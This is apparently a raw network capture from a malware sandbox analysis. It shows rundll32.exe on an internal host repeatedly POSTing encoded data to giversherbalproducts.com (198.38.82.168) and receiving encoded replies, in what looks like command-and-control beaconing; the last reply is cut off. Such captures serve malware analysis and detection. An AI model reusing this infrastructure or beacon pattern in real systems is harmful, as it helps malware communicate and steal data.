Oct 4, 2021 16:01:19.941987991 CEST	1077	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:19 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 38 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXp8dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
220	192.168.2.3	50059	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:56.349723101 CEST	7265	OUT	POST /lBawcxb5/eHMTeicjLSU2ewYseiU7enIEAAQvPkJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:56.831428051 CEST	7267	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:56 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
221	192.168.2.3	50060	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:56.940196991 CEST	7267	OUT	POST /lBawcxb5/EwIhOC4lMBwbPwgnLQApcyIsASwdBTMheA5DenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:57.461374998 CEST	7269	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:57 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
222	192.168.2.3	50061	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:57.244517088 CEST	7268	OUT	POST /lBawcxb5/ch0sAS4NeiYGBAoeHCh7eAUtIA4aOSQPeBwFQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:57.733551979 CEST	7270	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:57 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
223	192.168.2.3	50062	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:57.808604002 CEST	7270	OUT	POST /lBawcxb5/KHMMGS5zJ300PjoPEX0KBSsaHAkAJBgGOkJ7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:58.270605087 CEST	7272	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:57 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
224	192.168.2.3	50063	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:58.204768896 CEST	7271	OUT	POST /lBawcxb5/fi8tB30jeQl1dyAeDwQ+MjAAFCABBw0vRnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:58.652410984 CEST	7273	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:58 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
225	192.168.2.3	50064	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:58.614763021 CEST	7273	OUT	POST /lBawcxb5/OiIDfhgnKT1FfnJ4ZX15c2R5Ynw= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:59.060307980 CEST	7275	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:58 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
226	192.168.2.3	50065	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:58.993364096 CEST	7274	OUT	POST /lBawcxb5/IRh6OxsSA317KiA4HjUrBxgBRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:59.458815098 CEST	7276	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:59 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
227	192.168.2.3	50066	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:59.410707951 CEST	7276	OUT	POST /lBawcxb5/B34GDSoaEiwrAiUkfHUXQntyfmF6fHNifWV5 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:59.908371925 CEST	7278	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:59 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
228	192.168.2.3	50067	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:59.822372913 CEST	7277	OUT	POST /lBawcxb5/Hg4RFBcNMzMqHRwDMXUdPAAqRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:00.332356930 CEST	7279	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:59 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: 